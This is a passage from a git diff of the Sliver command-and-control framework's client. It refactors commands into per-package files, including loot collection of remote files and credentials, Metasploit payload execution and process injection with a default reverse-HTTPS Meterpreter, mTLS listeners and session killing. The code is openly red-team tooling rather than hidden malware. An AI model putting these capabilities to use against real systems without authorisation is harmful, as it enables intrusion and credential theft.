...\n") - wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{ - Port: lport, - NPort: nport, - KeyPort: keyExchangePort, - Persistent: persistent, - }) - if err != nil { - con.PrintErrorf("%s\n", err) - } else { - con.PrintInfof("Successfully started job #%d\n", wg.JobID) - } -} diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go new file mode 100644 index 0000000000..2128351edc --- /dev/null +++ b/client/command/kill/commands.go @@ -0,0 +1,30 @@ +package kill + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + killCmd := &cobra.Command{ + Use: consts.KillStr, + Short: "Kill a session", + Long: help.GetHelpFor([]string{consts.KillStr}), + Run: func(cmd *cobra.Command, args []string) { + KillCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, killCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force kill, does not clean up") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{killCmd} +} diff --git a/client/command/kill/kill.go b/client/command/kill/kill.go index 4c982d855d..a7724187e4 100644 --- a/client/command/kill/kill.go +++ b/client/command/kill/kill.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// KillCmd - Kill the active session (not to be confused with TerminateCmd) -func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// KillCmd - Kill the active session (not to be confused with TerminateCmd). +func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() // Confirm with the user, just in case they confused kill with terminate confirm := false @@ -67,7 +67,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string con.PrintErrorf("No active session or beacon\n") } -func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) error { if session == nil { return errors.New("session does not exist") } @@ -81,10 +81,10 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli }, Force: force, }) - return err + return con.UnwrapServerErr(err) } -func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverClient) error { if beacon == nil { return errors.New("session does not exist") } @@ -99,5 +99,5 @@ func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.Sliver }, Force: force, }) - return err + return con.UnwrapServerErr(err) } diff --git a/client/command/licenses/commands.go b/client/command/licenses/commands.go new file mode 100644 index 0000000000..e1ade622e5 --- /dev/null +++ b/client/command/licenses/commands.go @@ -0,0 +1,25 @@ +package licenses + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/licenses" +) + +// Commands returns the `licences` command. +func Commands(con *console.SliverClient) []*cobra.Command { + licensesCmd := &cobra.Command{ + Use: consts.LicensesStr, + Short: "Open source licenses", + Long: help.GetHelpFor([]string{consts.LicensesStr}), + Run: func(cmd *cobra.Command, args []string) { + con.Println(licenses.All) + }, + GroupID: consts.GenericHelpGroup, + } + + return []*cobra.Command{licensesCmd} +} diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go new file mode 100644 index 0000000000..dad7e1e7ad --- /dev/null +++ b/client/command/loot/commands.go @@ -0,0 +1,131 @@ +package loot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + lootCmd := &cobra.Command{ + Use: consts.LootStr, + Short: "Manage the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr}), + Run: func(cmd *cobra.Command, args []string) { + LootCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("loot", true, lootCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("loot", false, lootCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + + lootAddCmd := &cobra.Command{ + Use: consts.LootLocalStr, + Short: "Add a local file to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddLocalCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootAddCmd) + flags.Bind("loot", false, lootAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + completers.NewFlagCompsFor(lootAddCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) + }) + carapace.Gen(lootAddCmd).PositionalCompletion( + carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) + + lootRemoteCmd := &cobra.Command{ + Use: consts.LootRemoteStr, + Short: "Add a remote file from the current session to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddRemoteCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootRemoteCmd) + flags.Bind("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + completers.NewFlagCompsFor(lootRemoteCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) + }) + carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) + + lootRenameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Re-name a piece of existing loot", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRenameCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRenameCmd) + + lootFetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), + Run: func(cmd *cobra.Command, args []string) { + LootFetchCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootFetchCmd) + flags.Bind("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save loot to a local file") + f.StringP("filter", "f", "", "filter based on loot type") + }) + completers.NewFlagCompsFor(lootFetchCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") + (*comp)["filter"] = FileTypeCompleter(con) + }) + + lootRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRmCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRmCmd) + flags.Bind("loot", false, lootRmCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + completers.NewFlagCompsFor(lootRmCmd, func(comp *carapace.ActionMap) { + (*comp)["filter"] = LootTypeCompleter(con) + }) + + return []*cobra.Command{lootCmd} +} + +// FileTypeCompleter completes valid filetypes for loot. +func FileTypeCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionValues("binary", "text").Tag("loot file type") +} + +// LootTypeCompleter completes valid loot type for a loot. +func LootTypeCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionValues("file", "cred").Tag("loot type") +} diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index 0688fe0630..e215adb0e2 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// LootFetchCmd - Display the contents of or download a piece of loot -func LootFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootFetchCmd - Display the contents of or download a piece of loot. +func LootFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { con.PrintErrorf("%s\n", err) @@ -35,7 +35,7 @@ func LootFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } loot, err = con.Rpc.LootContent(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintLootFile(loot, con) diff --git a/client/command/loot/helpers.go b/client/command/loot/helpers.go index 36ee5e87a9..c671b0969a 100644 --- a/client/command/loot/helpers.go +++ b/client/command/loot/helpers.go @@ -40,15 +40,15 @@ import ( ) var ( - // ErrInvalidFileType - Invalid file type + // ErrInvalidFileType - Invalid file type. ErrInvalidFileType = errors.New("invalid file type") - // ErrInvalidLootType - Invalid loot type + // ErrInvalidLootType - Invalid loot type. ErrInvalidLootType = errors.New("invalid loot type") - // ErrNoLootFileData - No loot file data + // ErrNoLootFileData - No loot file data. ErrNoLootFileData = errors.New("no loot file data") ) -// AddLootFile - Add a file as loot +// AddLootFile - Add a file as loot. func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error { if len(data) < 1 { return ErrNoLootFileData @@ -73,7 +73,7 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [ return err } -// SelectLoot - Interactive menu for the user to select a piece loot (all types) +// SelectLoot - Interactive menu for the user to select a piece loot (all types). func SelectLoot(cmd *cobra.Command, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { // Fetch data with optional filter var allLoot *clientpb.AllLoot diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 696cf44301..bbb14a9459 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// LootAddLocalCmd - Add a local file to the server as loot -func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootAddLocalCmd - Add a local file to the server as loot. +func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { localPath := args[0] if _, err := os.Stat(localPath); os.IsNotExist(err) { con.PrintErrorf("Path '%s' not found\n", localPath) @@ -73,7 +73,7 @@ func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } con.PrintInfof("Successfully added loot to server (%s)\n", loot.ID) diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 0fbf41a3c9..4d2080054f 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -37,24 +37,25 @@ import ( "github.com/bishopfox/sliver/util" ) -// LootCmd - The loot root command -func LootCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootCmd - The loot root command. +func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to fetch loot %s\n", err) + con.PrintErrorf("Failed to fetch loot %s\n", con.UnwrapServerErr(err)) return } PrintAllFileLootTable(allLoot, con) } -// PrintAllFileLootTable - Displays a table of all file loot -func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsoleClient) { +// PrintAllFileLootTable - Displays a table of all file loot. +func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) { if allLoot == nil || len(allLoot.Loot) == 0 { con.PrintInfof("No loot 🙁\n") return } tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -76,8 +77,8 @@ func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsole con.Printf("%s\n", tw.Render()) } -// PrintLootFile - Display the contents of a piece of loot -func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) { +// PrintLootFile - Display the contents of a piece of loot. +func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) { if loot.File == nil { return } @@ -95,7 +96,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) { } } -// Any loot with a "File" can be saved to disk +// Any loot with a "File" can be saved to disk. func saveLootToDisk(cmd *cobra.Command, loot *clientpb.Loot) (string, error) { if loot.File == nil { return "", errors.New("loot does not contain a file") diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index 3b8460a504..673fd57aa5 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -53,9 +53,9 @@ func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileTy /* Eventually this function needs to be refactored out, but we made the decision to -duplicate it for now +duplicate it for now. */ -func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverConsoleClient) (*sliverpb.Download, error) { +func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverClient) (*sliverpb.Download, error) { ctrl := make(chan bool) con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl) download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{ @@ -65,16 +65,15 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con ctrl <- true <-ctrl if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) } }) - con.PrintAsyncResponse(download.Response) } if download.Response != nil && download.Response.Err != "" { @@ -107,7 +106,7 @@ func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.F return lootMessage } -func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { +func SendLootMessage(loot *clientpb.Loot, con *console.SliverClient) { control := make(chan bool) con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control) @@ -115,7 +114,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { control <- true <-control if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if loot.Name != loot.File.Name { @@ -125,7 +124,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { } } -func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverConsoleClient) { +func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverClient) { // Was the download successful? if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) @@ -197,8 +196,8 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp } } -// LootAddRemoteCmd - Add a file from the remote system to the server as loot -func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootAddRemoteCmd - Add a file from the remote system to the server as loot. +func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index ad45133016..8b62de1b23 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -28,11 +28,11 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// LootRenameCmd - Rename a piece of loot -func LootRenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootRenameCmd - Rename a piece of loot. +func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldName := loot.Name @@ -45,7 +45,7 @@ func LootRenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Name: newName, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Renamed %s -> %s\n", oldName, loot.Name) diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index fef220e102..afd57950d2 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -26,16 +26,16 @@ import ( "github.com/bishopfox/sliver/client/console" ) -func LootRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } _, err = con.Rpc.LootRm(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.Println() diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go new file mode 100644 index 0000000000..da7c962e0c --- /dev/null +++ b/client/command/monitor/commands.go @@ -0,0 +1,33 @@ +package monitor + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + monitorCmd := &cobra.Command{ + Use: consts.MonitorStr, + Short: "Monitor threat intel platforms for Sliver implants", + GroupID: consts.SliverHelpGroup, + } + monitorCmd.AddCommand(&cobra.Command{ + Use: "start", + Short: "Start the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStartCmd(cmd, con, args) + }, + }) + monitorCmd.AddCommand(&cobra.Command{ + Use: "stop", + Short: "Stop the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStopCmd(cmd, con, args) + }, + }) + + return []*cobra.Command{monitorCmd} +} diff --git a/client/command/monitor/start.go b/client/command/monitor/start.go index d9133591e1..f722c9d8d7 100644 --- a/client/command/monitor/start.go +++ b/client/command/monitor/start.go @@ -27,11 +27,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// MonitorStartCmd - Start monitoring threat intel for implants -func MonitorStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MonitorStartCmd - Start monitoring threat intel for implants. +func MonitorStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if resp != nil && resp.Err != "" { diff --git a/client/command/monitor/stop.go b/client/command/monitor/stop.go index d4b553ea23..d1f595ee42 100644 --- a/client/command/monitor/stop.go +++ b/client/command/monitor/stop.go @@ -27,11 +27,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// MonitorStopCmd - Stop monitoring threat intel for implants -func MonitorStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MonitorStopCmd - Stop monitoring threat intel for implants. +func MonitorStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped monitoring threat intel platforms for implants hashes\n") diff --git a/client/command/msf/commands.go b/client/command/msf/commands.go new file mode 100644 index 0000000000..603ba9a400 --- /dev/null +++ b/client/command/msf/commands.go @@ -0,0 +1,89 @@ +package msf + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `msf` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + msfCmd := &cobra.Command{ + Use: consts.MsfStr, + Short: "Generic transport preparation & management", + GroupID: consts.ExecutionHelpGroup, + } + + msfExecCmd := &cobra.Command{ + Use: consts.ExecuteStr, + Short: "Execute an MSF payload in the current process", + Long: help.GetHelpFor([]string{consts.MsfStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfCmd(cmd, con, args) + }, + } + msfCmd.AddCommand(msfExecCmd) + flags.Bind("", false, msfExecCmd, func(f *pflag.FlagSet) { + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(msfExecCmd, func(comp *carapace.ActionMap) { + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + (*comp)["payload"] = generate.MsfPayloadCompleter(con) + }) + + msfInjectCmd := &cobra.Command{ + Use: consts.MsfInjectStr, + Short: "Inject an MSF payload into a process", + Long: help.GetHelpFor([]string{consts.MsfInjectStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfInjectCmd(cmd, con, args) + }, + } + msfCmd.AddCommand(msfInjectCmd) + flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "pid to inject into") + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(msfInjectCmd, func(comp *carapace.ActionMap) { + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + }) + + return []*cobra.Command{msfCmd} +} diff --git a/client/command/exec/msf.go b/client/command/msf/exec.go similarity index 89% rename from client/command/exec/msf.go rename to client/command/msf/exec.go index 9108478c66..d4798fa589 100644 --- a/client/command/exec/msf.go +++ b/client/command/msf/exec.go @@ -1,4 +1,4 @@ -package exec +package msf /* Sliver Implant Framework @@ -22,17 +22,16 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" ) -// MsfCmd - Inject a metasploit payload into the current remote process -func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MsfCmd - Inject a metasploit payload into the current remote process. +func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -73,12 +72,12 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -86,7 +85,6 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } diff --git a/client/command/exec/msf-inject.go b/client/command/msf/inject.go similarity index 91% rename from client/command/exec/msf-inject.go rename to client/command/msf/inject.go index b8d274345a..9378b41ff9 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/msf/inject.go @@ -1,4 +1,4 @@ -package exec +package msf /* Sliver Implant Framework @@ -22,9 +22,8 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" @@ -32,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MsfInjectCmd - Inject a metasploit payload into a remote process -func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MsfInjectCmd - Inject a metasploit payload into a remote process. +func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -80,12 +79,12 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -93,14 +92,13 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } } -// PrintMsfRemote - Print the results of the remote injection attempt -func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) { +// PrintMsfRemote - Print the results of the remote injection attempt. +func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) { if msfRemote.Response == nil { con.PrintErrorf("Empty response from msf payload injection task") return diff --git a/client/command/mtls/commands.go b/client/command/mtls/commands.go new file mode 100644 index 0000000000..e9c4510b8a --- /dev/null +++ b/client/command/mtls/commands.go @@ -0,0 +1,57 @@ +package mtls + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `mtls` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + mtlsCmd := &cobra.Command{ + Use: consts.MtlsStr, + Short: "mTLS handlers management", + GroupID: consts.NetworkHelpGroup, + } + + listenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start an mTLS listener", + Long: help.GetHelpFor([]string{consts.MtlsStr}), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + mtlsCmd.AddCommand(listenCmd) + + flags.Bind("mTLS listener", false, listenCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + return []*cobra.Command{mtlsCmd} +} diff --git a/client/command/jobs/mtls.go b/client/command/mtls/listen.go similarity index 87% rename from client/command/jobs/mtls.go rename to client/command/mtls/listen.go index 89f87cbe34..f5104f7385 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/mtls/listen.go @@ -1,4 +1,4 @@ -package jobs +package mtls /* Sliver Implant Framework @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// MTLSListenerCmd - Start an mTLS listener -func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListenCmd - Start an mTLS listener. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") persistent, _ := cmd.Flags().GetBool("persistent") @@ -41,7 +41,7 @@ func MTLSListenerCmd(cmd 